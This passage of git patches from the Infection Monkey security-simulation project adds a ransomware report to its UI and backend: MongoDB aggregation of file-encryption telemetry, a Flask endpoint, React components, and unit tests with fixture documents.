    + ); } return exploitation_details; From 644a90c2f34d70fe085814d1177592bc655ab85c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Jul 2021 09:31:28 -0400 Subject: [PATCH 1089/1360] Island: Add "Propagation" header to ransomware report --- .../cc/ui/src/components/report-components/RansomwareReport.js | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js index 52ca82c42aa..55f513961cf 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js @@ -26,6 +26,9 @@ class RansomwareReport extends React.Component { return (
    +

    + Propagation +

    The Monkey discovered {num_scanned} machines and successfully breached {num_exploited} of them. From 6fdf0858ac01e06e403377ed5c9d5f6e3325544b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Jul 2021 09:32:01 -0400 Subject: [PATCH 1090/1360] Island: Remove superfluous description from ransomware report --- .../src/components/report-components/RansomwareReport.js | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js index 55f513961cf..07a6ceb1527 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js @@ -11,12 +11,9 @@ class RansomwareReport extends React.Component { generateReportContent() { return ( -

    -

    - This report shows information about the ransomware simulation run by Infection Monkey. -

    - {this.getExploitationStats()} -
    +
    + {this.getExploitationStats()} +
    ) } From ced3c3b137c9c2cca3963133969394aab291bad0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Jul 2021 12:41:42 -0400 Subject: [PATCH 1091/1360] Island: Extract getScannedVsExploitedStats() method --- .../report-components/RansomwareReport.js | 20 ++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js index 07a6ceb1527..bb24dcaa11f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js @@ -18,23 +18,29 @@ class RansomwareReport extends React.Component { } getExploitationStats() { - let num_scanned = this.props.report.propagation_stats.num_scanned_nodes; - let num_exploited = this.props.report.propagation_stats.num_exploited_nodes; - return (

    Propagation

    -

    - The Monkey discovered {num_scanned} machines - and successfully breached {num_exploited} of them. -

    + {this.getScannedVsExploitedStats()} {this.getExploitationStatsPerExploit()}
    ) } + getScannedVsExploitedStats() { + let num_scanned = this.props.report.propagation_stats.num_scanned_nodes; + let num_exploited = this.props.report.propagation_stats.num_exploited_nodes; + + return( +

    + The Monkey discovered {num_scanned} machines + and successfully breached {num_exploited} of them. +

    + ) + } + getExploitationStatsPerExploit() { let exploit_counts = this.props.report.propagation_stats.num_exploited_per_exploit; From 22ff22f3895f602707851369d3de7908ec385577 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Jul 2021 13:44:45 -0400 Subject: [PATCH 1092/1360] Island: Reword ransomware simulation description --- .../monkey_island/cc/services/config_schema/ransomware.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 70415110d7a..f42f9f53bf6 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -10,10 +10,10 @@ "encryption": { "title": "Simulation", "type": "object", - "description": "To simulate ransomware encryption, create a directory and put some " - "files there to be encrypted. Do this on each machine on which you want to run the " - "ransomware encryption simulation.\n\nProvide the path to the directory that was " - "created on each machine:", + "description": "To simulate ransomware encryption, you'll need to provide Infection " + "Monkey with files that it can safely encrypt. On each machine where you would like " + "the ransomware simulation to run, create a directory and put some files in it." + "\n\nProvide the path to the directory that was created on each machine.", "properties": { "enabled": { "title": "Encrypt files", From f6eda771b259c1e5c3e76852fc858fc8cf767a2a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 8 Jul 2021 13:44:05 +0300 Subject: [PATCH 1093/1360] Add a service responsible for fetching and formatting data for ransomware report, file encryption table --- .../cc/resources/ransomware_report.py | 6 ++++-- .../cc/ui/src/components/pages/ReportPage.js | 16 +++++++--------- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index cb592346859..a1b4c8ee8a9 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -2,12 +2,14 @@ from flask import jsonify from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.ransomware.ransomware_report import RansomwareReportService from monkey_island.cc.services.ransomware import ransomware_report class RansomwareReport(flask_restful.Resource): @jwt_required def get(self): - return jsonify( - {"report": None, "propagation_stats": ransomware_report.get_propagation_stats()} + encrypted_files_table = RansomwareReportService.get_encrypted_files_table() + return jsonify({"encrypted_files_table": encrypted_files_table, + "propagation_stats": ransomware_report.get_propagation_stats()} ) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 86b73dbb4f4..17577fb818a 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -58,15 +58,13 @@ class ReportPageComponent extends AuthComponent { this.getZeroTrustReportFromServer().then((ztReport) => { this.setState({zeroTrustReport: ztReport}) }); - this.setState({ - ransomwareReport: {'report': ''}}) - // this.authFetch('/api/report/ransomware') - // .then(res => res.json()) - // .then(res => { - // this.setState({ - // ransomwareReport: res - // }); - // }); + this.authFetch('/api/report/ransomware') + .then(res => res.json()) + .then(res => { + this.setState({ + ransomwareReport: res + }); + }); if (this.shouldShowRansomwareReport(this.state.ransomwareReport)) { this.state.sections.push({key: 'ransomware', title: 'Ransomware report'}) } From 9492b14c9579cfef7ae244c18e15cf1e243ffb10 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 8 Jul 2021 13:48:34 +0300 Subject: [PATCH 1094/1360] Add unit tests and for ransomware report, which get skipped because of a bug in mongomock --- .../services/ransomware/ransomware_report.py | 83 ++++++++++++ .../data_for_tests/mongo_documents/edges.py | 125 ++++++++++++++++++ .../data_for_tests/mongo_documents/monkeys.py | 50 +++++++ .../telemetries/file_encryption.py | 59 +++++++++ .../ransomware/test_ransomware_report.py | 70 ++++++++++ 5 files changed, 387 insertions(+) create mode 100644 monkey/tests/data_for_tests/mongo_documents/edges.py create mode 100644 monkey/tests/data_for_tests/mongo_documents/monkeys.py create mode 100644 monkey/tests/data_for_tests/mongo_documents/telemetries/file_encryption.py diff --git a/monkey/monkey_island/cc/services/ransomware/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py index 0e0f1c2993a..769fc5e532d 100644 --- a/monkey/monkey_island/cc/services/ransomware/ransomware_report.py +++ b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py @@ -1,8 +1,91 @@ +from monkey_island.cc.database import mongo from typing import Dict, List from monkey_island.cc.services.reporting.report import ReportService +class RansomwareReportService: + @staticmethod + def get_encrypted_files_table(): + query = [ + {"$match": {"telem_category": "file_encryption"}}, + {"$unwind": "$data.files"}, + { + "$group": { + "_id": {"monkey_guid": "$monkey_guid", "files_encrypted": "$data.files.success"} + } + }, + {"$replaceRoot": {"newRoot": "$_id"}}, + {"$sort": {"files_encrypted": -1}}, + { + "$group": { + "_id": {"monkey_guid": "$monkey_guid"}, + "monkey_guid": {"$first": "$monkey_guid"}, + "files_encrypted": {"$first": "$files_encrypted"}, + } + }, + { + "$lookup": { + "from": "monkey", + "localField": "_id.monkey_guid", + "foreignField": "guid", + "as": "monkey", + } + }, + { + "$project": { + "monkey": {"$arrayElemAt": ["$monkey", 0]}, + "files_encrypted": "$files_encrypted", + } + }, + { + "$lookup": { + "from": "edge", + "localField": "monkey._id", + "foreignField": "dst_node_id", + "as": "edge", + } + }, + { + "$project": { + "monkey": "$monkey", + "files_encrypted": "$files_encrypted", + "edge": {"$arrayElemAt": ["$edge", 0]}, + } + }, + { + "$project": { + "hostname": "$monkey.hostname", + "successful_exploits": { + "$filter": { + "input": "$edge.exploits", + "as": "exploit", + "cond": {"$eq": ["$$exploit.result", True]}, + } + }, + "files_encrypted": "$files_encrypted", + } + }, + { + "$addFields": { + "successful_exploit": {"$arrayElemAt": ["$successful_exploits", 0]}, + } + }, + { + "$project": { + "hostname": "$hostname", + "exploiter": "$successful_exploit.info.display_name", + "files_encrypted": "$files_encrypted", + } + }, + ] + + table_data = list(mongo.db.telemetry.aggregate(query)) + for encryption_entry in table_data: + if "exploiter" not in encryption_entry: + encryption_entry["exploiter"] = "Manual run" + return table_data + def get_propagation_stats() -> Dict: scanned = ReportService.get_scanned() exploited = ReportService.get_exploited() diff --git a/monkey/tests/data_for_tests/mongo_documents/edges.py b/monkey/tests/data_for_tests/mongo_documents/edges.py new file mode 100644 index 00000000000..25c12f29f8a --- /dev/null +++ b/monkey/tests/data_for_tests/mongo_documents/edges.py @@ -0,0 +1,125 @@ +from mongomock import ObjectId + +EDGE_EXPLOITED = { + "_id": ObjectId("60e541c07a6cdf66484ba504"), + "_cls": "Edge.EdgeService", + "src_node_id": ObjectId("60e541aab6732b49f4c564ea"), + "dst_node_id": ObjectId("60e541c6b6732b49f4c56622"), + "scans": [ + { + "timestamp": "2021-07-07T08:55:12.866Z", + "data": { + "os": {"type": "windows"}, + "services": {"tcp-445": {"display_name": "SMB", "port": 445}}, + "icmp": True, + "monkey_exe": None, + "default_tunnel": None, + "default_server": None, + }, + } + ], + "exploits": [ + { + "result": True, + "exploiter": "SmbExploiter", + "info": { + "display_name": "SMB", + "started": "2021-07-07T08:55:12.944Z", + "finished": "2021-07-07T08:55:14.376Z", + "vulnerable_urls": [], + "vulnerable_ports": ["139 or 445", "139 or 445"], + "executed_cmds": [], + }, + "attempts": [ + { + "result": False, + "user": "Administrator", + "password": "LydBuBjDAe/igLGS2FyeKL1zLoTt0r+CkaPH1v5/Vr7HmzcbBPW562Io+MQlrMey", + "lm_hash": "", + "ntlm_hash": "", + "ssh_key": "", + }, + { + "result": True, + "user": "user", + "password": "Evzzovf6QLOPUja78/nP6XgiNXH5bB1MrXqPBYmBgeQDOcBhJPUE32+8968zDlHy", + "lm_hash": "", + "ntlm_hash": "", + "ssh_key": "", + }, + ], + "timestamp": "2021-07-07T08:55:14.420Z", + }, + { + "result": True, + "exploiter": "SmbExploiter", + "info": { + "display_name": "SMB", + "started": "2021-07-07T12:08:35.168Z", + "finished": "2021-07-07T12:08:36.612Z", + "vulnerable_urls": [], + "vulnerable_ports": ["139 or 445", "139 or 445"], + "executed_cmds": [], + }, + "attempts": [ + { + "result": False, + "user": "Administrator", + "password": "B4o8ujKpBfKyjCvb7c5bHr7a8CzwfOJi+i228WGv4/9OZZaEsKjps/5Zg1aHSEun", + "lm_hash": "", + "ntlm_hash": "", + "ssh_key": "", + }, + { + "result": True, + "user": "user", + "password": "Evzzovf6QLOPUja78/nP6XgiNXH5bB1MrXqPBYmBgeQDOcBhJPUE32+8968zDlHy", + "lm_hash": "", + "ntlm_hash": "", + "ssh_key": "", + }, + ], + "timestamp": "2021-07-07T12:08:36.650Z", + }, + ], + "tunnel": False, + "exploited": True, + "src_label": "MonkeyIsland - test-pc-2 : 192.168.56.1", + "dst_label": "WinDev2010Eval : 172.25.33.145", + "domain_name": "", + "ip_address": "172.25.33.145", +} + +EDGE_SCANNED = { + "_id": ObjectId("60e6b24dc10b80a409c048a3"), + "_cls": "Edge.EdgeService", + "src_node_id": ObjectId("60e541aab6732b49f4c564ea"), + "dst_node_id": ObjectId("60e6b24dc10b80a409c048a2"), + "scans": [ + { + "timestamp": "2021-07-08T11:07:41.407Z", + "data": { + "os": {"type": "linux", "version": "Ubuntu-4ubuntu0.3"}, + "services": { + "tcp-22": { + "display_name": "SSH", + "port": 22, + "banner": "SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3\r\n", + "name": "ssh", + } + }, + "icmp": True, + "monkey_exe": None, + "default_tunnel": None, + "default_server": None, + }, + } + ], + "exploits": [], + "tunnel": False, + "exploited": False, + "src_label": "MonkeyIsland - test-pc-2 : 192.168.56.1", + "dst_label": "Ubuntu-4ubuntu0.3 : 172.24.125.179", + "domain_name": "", + "ip_address": "172.24.125.179", +} diff --git a/monkey/tests/data_for_tests/mongo_documents/monkeys.py b/monkey/tests/data_for_tests/mongo_documents/monkeys.py new file mode 100644 index 00000000000..c35c1d124f4 --- /dev/null +++ b/monkey/tests/data_for_tests/mongo_documents/monkeys.py @@ -0,0 +1,50 @@ +from mongomock import ObjectId + +MONKEY_AT_ISLAND = { + "_id": ObjectId("60e541aab6732b49f4c564ea"), + "guid": "211375648895908", + "config": {}, + "creds": [], + "dead": True, + "description": "Windows test-pc-2 10", + "hostname": "test-pc-2", + "internet_access": True, + "ip_addresses": [ + "192.168.56.1", + "172.17.192.1", + "172.25.32.1", + "192.168.43.1", + "192.168.10.1", + "192.168.0.102", + ], + "keepalive": "2021-07-07T12:08:13.164Z", + "modifytime": "2021-07-07T12:10:13.340Z", + "parent": [ + ["211375648895908", None], + ["211375648895908", None], + ["211375648895908", None], + ["211375648895908", None], + ], + "ttl_ref": ObjectId("60e56f757a6cdf66484ba5cc"), + "command_control_channel": {"src": "192.168.56.1", "dst": "192.168.56.1:5000"}, + "pba_results": [], +} + +MONKEY_AT_VICTIM = { + "_id": ObjectId("60e541c6b6732b49f4c56622"), + "guid": "91758264576", + "config": {}, + "creds": [], + "dead": False, + "description": "Windows WinDev2010Eval 10 10.0.19041 AMD64 Intel64 Family 6 Model 165 " + "Stepping 2, GenuineIntel", + "hostname": "WinDev2010Eval", + "internet_access": True, + "ip_addresses": ["172.25.33.145"], + "keepalive": "2021-07-07T12:08:41.200Z", + "modifytime": "2021-07-07T12:08:47.144Z", + "parent": [["211375648895908", "SmbExploiter"], ["211375648895908", None]], + "ttl_ref": ObjectId("60e56f1f7a6cdf66484ba5c5"), + "command_control_channel": {"src": "172.25.33.145", "dst": "172.25.32.1:5000"}, + "pba_results": [], +} diff --git a/monkey/tests/data_for_tests/mongo_documents/telemetries/file_encryption.py b/monkey/tests/data_for_tests/mongo_documents/telemetries/file_encryption.py new file mode 100644 index 00000000000..ff1a6914ee8 --- /dev/null +++ b/monkey/tests/data_for_tests/mongo_documents/telemetries/file_encryption.py @@ -0,0 +1,59 @@ +from mongomock import ObjectId + +ENCRYPTED = { + "_id": ObjectId("60e541c37a6cdf66484ba517"), + "monkey_guid": "211375648895908", + "telem_category": "file_encryption", + "data": { + "files": [ + {"path": "infection_monkey.py", "success": True, "error": ""}, + {"path": "monkey_island.py", "success": True, "error": ""}, + {"path": "__init__.py", "success": True, "error": ""}, + ] + }, + "timestamp": "2021-07-07T08:55:15.830Z", + "command_control_channel": {"src": "192.168.56.1", "dst": "192.168.56.1:5000"}, +} + +ENCRYPTED_2 = { + "_id": ObjectId("60e54fee7a6cdf66484ba559"), + "monkey_guid": "211375648895908", + "telem_category": "file_encryption", + "data": { + "files": [ + {"path": "infection_monkey.py", "success": True, "error": ""}, + {"path": "monkey_island.py", "success": True, "error": ""}, + {"path": "__init__.py", "success": True, "error": ""}, + ] + }, + "timestamp": "2021-07-07T09:55:42.311Z", + "command_control_channel": {"src": "192.168.56.1", "dst": "192.168.56.1:5000"}, +} + +ENCRYPTION_ERROR = { + "_id": ObjectId("60e56f167a6cdf66484ba5aa"), + "monkey_guid": "211375648895908", + "telem_category": "file_encryption", + "data": { + "files": [ + { + "path": "C:\\w\\Dump\\README.txt", + "success": False, + "error": "[WinError 183] Cannot create a file when that " + "file already exists: 'C:\\\\w\\\\Dump\\\\README.txt'" + " -> 'C:\\\\w\\\\Dump\\\\README.txt.m0nk3y'", + } + ] + }, + "timestamp": "2021-07-07T12:08:38.058Z", + "command_control_channel": {"src": "192.168.56.1", "dst": "192.168.56.1:5000"}, +} + +ENCRYPTION_ONE_FILE = { + "_id": ObjectId("60e56f1b7a6cdf66484ba5c0"), + "monkey_guid": "91758264576", + "telem_category": "file_encryption", + "data": {"files": [{"path": "C:\\w\\Dump\\README.txt", "success": True, "error": ""}]}, + "timestamp": "2021-07-07T12:08:43.421Z", + "command_control_channel": {"src": "172.25.33.145", "dst": "172.25.32.1:5000"}, +} diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py index 4c586aa81bd..c1213ef95a7 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py @@ -1,8 +1,78 @@ +import mongomock +from tests.data_for_tests.mongo_documents.edges import EDGE_EXPLOITED, EDGE_SCANNED +from tests.data_for_tests.mongo_documents.monkeys import MONKEY_AT_ISLAND, MONKEY_AT_VICTIM +from tests.data_for_tests.mongo_documents.telemetries.file_encryption import ( + ENCRYPTED, + ENCRYPTED_2, + ENCRYPTION_ERROR, + ENCRYPTION_ONE_FILE, +) import pytest from monkey_island.cc.services.ransomware import ransomware_report from monkey_island.cc.services.reporting.report import ReportService +from monkey_island.cc.services.ransomware.ransomware_report import RansomwareReportService + + +@pytest.fixture +def fake_mongo(monkeypatch): + mongo = mongomock.MongoClient() + monkeypatch.setattr("monkey_island.cc.services.ransomware.ransomware_report.mongo", mongo) + return mongo + + +@pytest.mark.skip( + reason="A bug in mongomock prevents " "projecting the first element of an empty array" +) +@pytest.mark.usefixtures("uses_database") +def test_get_encrypted_files_table(fake_mongo): + fake_mongo.db.monkey.insert(MONKEY_AT_ISLAND) + fake_mongo.db.monkey.insert(MONKEY_AT_VICTIM) + fake_mongo.db.edge.insert(EDGE_EXPLOITED) + fake_mongo.db.edge.insert(EDGE_SCANNED) + fake_mongo.db.telemetry.insert(ENCRYPTED) + fake_mongo.db.telemetry.insert(ENCRYPTED_2) + fake_mongo.db.telemetry.insert(ENCRYPTION_ERROR) + fake_mongo.db.telemetry.insert(ENCRYPTION_ONE_FILE) + + results = RansomwareReportService.get_encrypted_files_table() + + assert results == [ + {"hostname": "test-pc-2", "exploit": "Manual execution", "files_encrypted": True}, + {"hostname": "WinDev2010Eval", "exploit": "SMB", "files_encrypted": True}, + ] + + +@pytest.mark.skip( + reason="A bug in mongomock prevents " "projecting the first element of an empty array" +) +@pytest.mark.usefixtures("uses_database") +def test_get_encrypted_files_table__only_errors(fake_mongo): + fake_mongo.db.monkey.insert(MONKEY_AT_ISLAND) + fake_mongo.db.monkey.insert(MONKEY_AT_VICTIM) + fake_mongo.db.edge.insert(EDGE_EXPLOITED) + fake_mongo.db.edge.insert(EDGE_SCANNED) + fake_mongo.db.telemetry.insert(ENCRYPTION_ERROR) + + results = RansomwareReportService.get_encrypted_files_table() + + assert results == [] + + +@pytest.mark.skip( + reason="A bug in mongomock prevents " "projecting the first element of an empty array" +) +@pytest.mark.usefixtures("uses_database") +def test_get_encrypted_files_table__no_telemetries(fake_mongo): + fake_mongo.db.monkey.insert(MONKEY_AT_ISLAND) + fake_mongo.db.monkey.insert(MONKEY_AT_VICTIM) + fake_mongo.db.edge.insert(EDGE_EXPLOITED) + fake_mongo.db.edge.insert(EDGE_SCANNED) + + results = RansomwareReportService.get_encrypted_files_table() + + assert results == [] @pytest.fixture def patch_report_service_for_stats(monkeypatch): From 4254f8cd375b254b6ed2aca34debcb505a94291b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 9 Jul 2021 11:33:52 +0300 Subject: [PATCH 1095/1360] Refactor ransomware_report.py to use current report infrastructure for fetching exploited nodes Re-using current report infrastructure means that it's more trivial to implement/maintain and is already tested. The downside is performance --- .../services/ransomware/ransomware_report.py | 68 +++++++------------ .../ransomware/test_ransomware_report.py | 20 +++--- 2 files changed, 33 insertions(+), 55 deletions(-) diff --git a/monkey/monkey_island/cc/services/ransomware/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py index 769fc5e532d..305fab1b62a 100644 --- a/monkey/monkey_island/cc/services/ransomware/ransomware_report.py +++ b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py @@ -1,4 +1,5 @@ from monkey_island.cc.database import mongo +from monkey_island.cc.services.reporting.report import ReportService from typing import Dict, List from monkey_island.cc.services.reporting.report import ReportService @@ -38,53 +39,30 @@ def get_encrypted_files_table(): "files_encrypted": "$files_encrypted", } }, - { - "$lookup": { - "from": "edge", - "localField": "monkey._id", - "foreignField": "dst_node_id", - "as": "edge", - } - }, - { - "$project": { - "monkey": "$monkey", - "files_encrypted": "$files_encrypted", - "edge": {"$arrayElemAt": ["$edge", 0]}, - } - }, - { - "$project": { - "hostname": "$monkey.hostname", - "successful_exploits": { - "$filter": { - "input": "$edge.exploits", - "as": "exploit", - "cond": {"$eq": ["$$exploit.result", True]}, - } - }, - "files_encrypted": "$files_encrypted", - } - }, - { - "$addFields": { - "successful_exploit": {"$arrayElemAt": ["$successful_exploits", 0]}, - } - }, - { - "$project": { - "hostname": "$hostname", - "exploiter": "$successful_exploit.info.display_name", - "files_encrypted": "$files_encrypted", - } - }, ] - table_data = list(mongo.db.telemetry.aggregate(query)) - for encryption_entry in table_data: - if "exploiter" not in encryption_entry: - encryption_entry["exploiter"] = "Manual run" - return table_data + monkeys = list(mongo.db.telemetry.aggregate(query)) + exploited_nodes = ReportService.get_exploited() + for monkey in monkeys: + monkey["exploits"] = RansomwareReportService.get_monkey_origin_exploits( + monkey["monkey"]["hostname"], exploited_nodes + ) + monkey["hostname"] = monkey["monkey"]["hostname"] + del monkey["monkey"] + del monkey["_id"] + return monkeys + + @staticmethod + def get_monkey_origin_exploits(monkey_hostname, exploited_nodes): + origin_exploits = [ + exploited_node["exploits"] + for exploited_node in exploited_nodes + if exploited_node["label"] == monkey_hostname + ] + if origin_exploits: + return origin_exploits[0] + else: + return ["Manual execution"] def get_propagation_stats() -> Dict: scanned = ReportService.get_scanned() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py index c1213ef95a7..3dbc9732f1e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py @@ -1,3 +1,6 @@ +import mongoengine +import pytest +from mongoengine import get_connection import mongomock from tests.data_for_tests.mongo_documents.edges import EDGE_EXPLOITED, EDGE_SCANNED from tests.data_for_tests.mongo_documents.monkeys import MONKEY_AT_ISLAND, MONKEY_AT_VICTIM @@ -17,14 +20,15 @@ @pytest.fixture def fake_mongo(monkeypatch): - mongo = mongomock.MongoClient() + mongoengine.connect("mongoenginetest", host="mongomock://localhost") + mongo = get_connection() monkeypatch.setattr("monkey_island.cc.services.ransomware.ransomware_report.mongo", mongo) + monkeypatch.setattr("monkey_island.cc.services.reporting.report.mongo", mongo) + monkeypatch.setattr("monkey_island.cc.services.node.mongo", mongo) return mongo -@pytest.mark.skip( - reason="A bug in mongomock prevents " "projecting the first element of an empty array" -) +@pytest.mark.skip(reason="Can't find a way to use the same mock database client in Monkey model") @pytest.mark.usefixtures("uses_database") def test_get_encrypted_files_table(fake_mongo): fake_mongo.db.monkey.insert(MONKEY_AT_ISLAND) @@ -44,9 +48,7 @@ def test_get_encrypted_files_table(fake_mongo): ] -@pytest.mark.skip( - reason="A bug in mongomock prevents " "projecting the first element of an empty array" -) +@pytest.mark.skip(reason="Can't find a way to use the same mock database client in Monkey model") @pytest.mark.usefixtures("uses_database") def test_get_encrypted_files_table__only_errors(fake_mongo): fake_mongo.db.monkey.insert(MONKEY_AT_ISLAND) @@ -60,9 +62,7 @@ def test_get_encrypted_files_table__only_errors(fake_mongo): assert results == [] -@pytest.mark.skip( - reason="A bug in mongomock prevents " "projecting the first element of an empty array" -) +@pytest.mark.skip(reason="Can't find a way to use the same mock database client in Monkey model") @pytest.mark.usefixtures("uses_database") def test_get_encrypted_files_table__no_telemetries(fake_mongo): fake_mongo.db.monkey.insert(MONKEY_AT_ISLAND) From 2bcf3b0a90b8ab5fecc1f032a9390238ec070f26 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 9 Jul 2021 16:03:16 +0300 Subject: [PATCH 1096/1360] Refactor ransomware report unit tests to mock "get_exploited()" method used. Also, minor refactorings in ransomware_report service and resource --- .../cc/resources/ransomware_report.py | 6 +- .../services/ransomware/ransomware_report.py | 110 +++++++++--------- .../ransomware/test_ransomware_report.py | 50 +++++--- 3 files changed, 89 insertions(+), 77 deletions(-) diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index a1b4c8ee8a9..0fb33e8975b 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -2,14 +2,12 @@ from flask import jsonify from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.ransomware.ransomware_report import RansomwareReportService from monkey_island.cc.services.ransomware import ransomware_report class RansomwareReport(flask_restful.Resource): @jwt_required def get(self): - encrypted_files_table = RansomwareReportService.get_encrypted_files_table() + encrypted_files_table = ransomware_report.get_encrypted_files_table() return jsonify({"encrypted_files_table": encrypted_files_table, - "propagation_stats": ransomware_report.get_propagation_stats()} - ) + "propagation_stats": ransomware_report.get_propagation_stats()}) diff --git a/monkey/monkey_island/cc/services/ransomware/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py index 305fab1b62a..ff8555cd33a 100644 --- a/monkey/monkey_island/cc/services/ransomware/ransomware_report.py +++ b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py @@ -5,64 +5,62 @@ from monkey_island.cc.services.reporting.report import ReportService -class RansomwareReportService: - @staticmethod - def get_encrypted_files_table(): - query = [ - {"$match": {"telem_category": "file_encryption"}}, - {"$unwind": "$data.files"}, - { - "$group": { - "_id": {"monkey_guid": "$monkey_guid", "files_encrypted": "$data.files.success"} - } - }, - {"$replaceRoot": {"newRoot": "$_id"}}, - {"$sort": {"files_encrypted": -1}}, - { - "$group": { - "_id": {"monkey_guid": "$monkey_guid"}, - "monkey_guid": {"$first": "$monkey_guid"}, - "files_encrypted": {"$first": "$files_encrypted"}, - } - }, - { - "$lookup": { - "from": "monkey", - "localField": "_id.monkey_guid", - "foreignField": "guid", - "as": "monkey", - } - }, - { - "$project": { - "monkey": {"$arrayElemAt": ["$monkey", 0]}, - "files_encrypted": "$files_encrypted", - } - }, - ] +def get_encrypted_files_table(): + query = [ + {"$match": {"telem_category": "file_encryption"}}, + {"$unwind": "$data.files"}, + { + "$group": { + "_id": {"monkey_guid": "$monkey_guid", "files_encrypted": "$data.files.success"} + } + }, + {"$replaceRoot": {"newRoot": "$_id"}}, + {"$sort": {"files_encrypted": -1}}, + { + "$group": { + "_id": {"monkey_guid": "$monkey_guid"}, + "monkey_guid": {"$first": "$monkey_guid"}, + "files_encrypted": {"$first": "$files_encrypted"}, + } + }, + { + "$lookup": { + "from": "monkey", + "localField": "_id.monkey_guid", + "foreignField": "guid", + "as": "monkey", + } + }, + { + "$project": { + "monkey": {"$arrayElemAt": ["$monkey", 0]}, + "files_encrypted": "$files_encrypted", + } + }, + ] - monkeys = list(mongo.db.telemetry.aggregate(query)) - exploited_nodes = ReportService.get_exploited() - for monkey in monkeys: - monkey["exploits"] = RansomwareReportService.get_monkey_origin_exploits( - monkey["monkey"]["hostname"], exploited_nodes - ) - monkey["hostname"] = monkey["monkey"]["hostname"] - del monkey["monkey"] - del monkey["_id"] - return monkeys + monkeys = list(mongo.db.telemetry.aggregate(query)) + exploited_nodes = ReportService.get_exploited() + for monkey in monkeys: + monkey["exploits"] = _get_monkey_origin_exploits( + monkey["monkey"]["hostname"], exploited_nodes + ) + monkey["hostname"] = monkey["monkey"]["hostname"] + del monkey["monkey"] + del monkey["_id"] + return monkeys - @staticmethod - def get_monkey_origin_exploits(monkey_hostname, exploited_nodes): - origin_exploits = [ - exploited_node["exploits"] - for exploited_node in exploited_nodes - if exploited_node["label"] == monkey_hostname - ] - if origin_exploits: - return origin_exploits[0] - else: - return ["Manual execution"] + +def _get_monkey_origin_exploits(monkey_hostname, exploited_nodes): + origin_exploits = [ + exploited_node["exploits"] + for exploited_node in exploited_nodes + if exploited_node["label"] == monkey_hostname + ] + if origin_exploits: + return origin_exploits[0] + else: + return ["Manual execution"] def get_propagation_stats() -> Dict: scanned = ReportService.get_scanned() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py index 3dbc9732f1e..ea9c4f2931b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py @@ -1,4 +1,4 @@ -import mongoengine +import mongomock import pytest from mongoengine import get_connection import mongomock @@ -15,22 +15,19 @@ from monkey_island.cc.services.ransomware import 